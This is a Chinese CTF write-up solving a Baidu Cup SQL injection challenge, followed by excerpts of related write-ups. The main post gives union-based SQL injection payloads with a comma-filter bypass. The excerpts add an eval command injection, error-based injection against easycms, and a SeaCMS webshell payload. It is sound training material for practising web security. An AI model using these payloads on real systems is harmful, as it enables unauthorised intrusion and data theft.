2018小训—“百度杯”CTF比赛_九月场_SQLi

题目源:  i春秋CTF大本营

小工具:  Burp Suite(抓包神器)

思路点用黄色加粗标记,操作点用绿色加粗标记

解题的流程:

    1.点进去一片空白习惯性,看源码。<!-- login.php?id=1 -->,看来要改改url。将原来的"/XXXXXX.php"换成“/login.php?id=1”。访问之后思维变成了直接开注入?但是没什么用。。。如果这时用sqlmap测试会发现这是个假的注入点。真的在哪里?只能猜猜,访问index.php。在控制台中发现了重定向302的相应headers,找到了真实的注入点:"/l0gin.php?id=1",将原来的"/XXXXXX.php"换成“/l0gin.php?id=1”

    

    2.开始测试注入点:测注入点类型——>测id关键字的数据类型(!!!这个很重要,wp都不怎么讲这个)。依次测试[1‘,1‘‘,‘ ‘1]这是字符型的测试序列,测试[9-8,66-ascii(‘A‘),50-ascii(1)]这是数字型的测试序列(参考《黑客攻防技术宝典Web实战》)。判断这是个字符型的注入点。然后输入“1 and”判断id的数据类型是int。其中的门道见:

    3.查询字段数,使用order by,"?id=1‘ order by 3 -- ‘"确定是两个字段,可以对照by 1,by 2,发现判断的依据。

  

    4.查询当前的数据库名,使用database(),"?id=1‘ select 1,database(),3 -- ‘",看到返回结果,显然是逗号之后的东西被吃掉了。。。

     这就要想办法绕过逗号的使用,百度或者谷歌,解决方案是join连接表:(参考一下:https://blog.csdn.net/qq_33020901/article/details/78906268)。样式总结就是

     >>select * from ((select 1)a join (select 2)b);/*还可以连接单个字段的表*/

    "?id=‘ union select * from ((select database())a join (select version())b) -- ‘"(记得把1去掉,因为题目只返回第一条查询记录,有了1,就看不见第二条了)

    5.查询表名上面的payload已经造出来了,替换第一个select就可(其实可以跳过第四步,但是练手嘛,一步步来,思路清晰)

    "?id=‘ union select * from ((select group_concat(table_name) from information_schema.tables where table_schema=database())a join (select version())b) -- ‘"

    6.查询该表的字段名称

    “?id=‘ union select * from ((select group_concat(column_name) from information_schema.columns where table_name=‘users‘)a join (select version())b) -- ‘

    7.查出flag

    “?id=‘ union select * from ((select flag_9c861b688330 from users where id=1)a join (select version())b) -- ‘

 

后记:

    1.作者全部手敲的,难免有些小差错,欢迎留言指出

    2.这个我也不是一次pass,借鉴了好几篇博文,比如那个逗号的绕过,个人重视的是那个注入点判断那里,注入起手式要理清。

原文地址:https://www.cnblogs.com/goodswarm/p/9735987.html

时间: 2024-10-09 00:06:43

2018小训—“百度杯”CTF比赛_九月场_SQLi的相关文章

2018小训—2017_“百度杯”CTF比赛_十月场_Login

题目源: https://www.ichunqiu.com/battalion?q=2725 i春秋上滴题目 小工具: Burp Suite(抓包神器).http://base64.xpcha.com/(base64在线解码网站).https://tool.lu/coderunner/(php在线编写运行网站) 思路点用黄色加粗标记.操作点用绿色加粗标记. 解题的流程: 1.登录题,输username:admin password:admin没什么软用(前期各种尝试判断可能的题型),检查源码,在

“百度杯”CTF比赛(二月场)-web-writeup

爆破一: 打开网页看到源代码: 根据提示这题就是找变量的值,本想爆破,但不太现实.百度 php获取变量的值 有个超全局数组 $GLOBALS 爆破二: 打开网页看到源代码: 看到了eval() 函数,想到命令执行 提示不在变量中,应该再flag.php中 Exp: ?hello=);system("cat flag.php");// 闭合前面,注释后面 但有一个问题,就是会被i春秋自己的waf挡,我们改成post,然后传一个参数,让其值大约2万个左右. 爆破三: 打开网页看到源代码:

“百度杯”CTF比赛 2017 二月场(Misc Web)

爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到flag 爆破-2: 打开链接 var_dump()会返回数据变量的类型和值 eval()会把字符串当作php代码 有两种方法得到flag 1:?hello=file('flag.php') 2:?hello=);show_source('flag.php');var_dump( 爆破-3: 打开链接

nginx配置不当导致的目录遍历下载漏洞-“百度杯”CTF比赛 2017 二月场

题目:http://98fe42cede6c4f1c9ec3f55c0f542d06b680d580b5bf41d4.game.ichunqiu.com/login.php 题目内容: 网站要上线了,还没测试呢,怎么办? 经过测试在点击Mini-Zone的时候会有如下数据包. GET /index.php HTTP/1.1Host: 98fe42cede6c4f1c9ec3f55c0f542d06b680d580b5bf41d4.game.ichunqiu.comUpgrade-Insecure

百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打开,并且输出文件内容(反单引号在linux中表示命令) 还有一种方法是用php://filter直接读取dle3456aae.php的源码,然后再base64解码 原文地址:https://www.cnblogs.com/BOHB-yunying/p/10610515.html

“百度杯”CTF比赛 九月场_YeserCMS

题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直接进行报错注入 xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),

“百度杯”CTF比赛 九月场_Test(海洋cms前台getshell)

题目在i春秋ctf训练营 又是一道cms的通用漏洞的题,直接去百度查看通用漏洞 这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/search.php?searchtype=5&tid=&area=eval($_POST[1]) 之后用菜刀连接,但乍一看并没有flag.php 反手去查了一下海洋cms的数据库配置文件的存放地址: 出去用菜刀连接数据库 编辑完成后右键数据库管理,可以看到flag了 原文地址:https://ww

“百度杯”CTF比赛 九月场_123(文件备份,爆破,上传)

题目在i春秋ctf训练营 翻看源码,发现提示: 打开user.php,页面一片空白,参考大佬的博客才知道可能会存在user.php.bak的备份文件,下载该文件可以得到用户名列表 拿去burp爆破: 这七百多号人就没个1999年生的?拿1998继续试.....又凉了...一直试到1990年,终于有个大佬是这年的 账号lixiuyun,密码lixiuyun1990 进入到一个空白的个人中心 直接在火狐查看器中将注释符删除,然后先上传一个图片试试 在文件名后加上.php返回不能出现php,那就拿ph

“百度杯”CTF比赛 十月场_Login

题目在i春秋ctf大本营 打开页面是两个登录框,首先判断是不是注入 尝试了各种语句后,发现登录界面似乎并不存在注入 查看网页源代码,给出了一个账号 用帐密登陆后,跳转到到member.php网页,网页本身并没有什么提示内容 接着抓包查看,这里找了好久,最后在返回包的头文件中发现了一个可以参数 尝试在请求头中加入show参数: 返回一段源代码,开始审计之路: <?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SE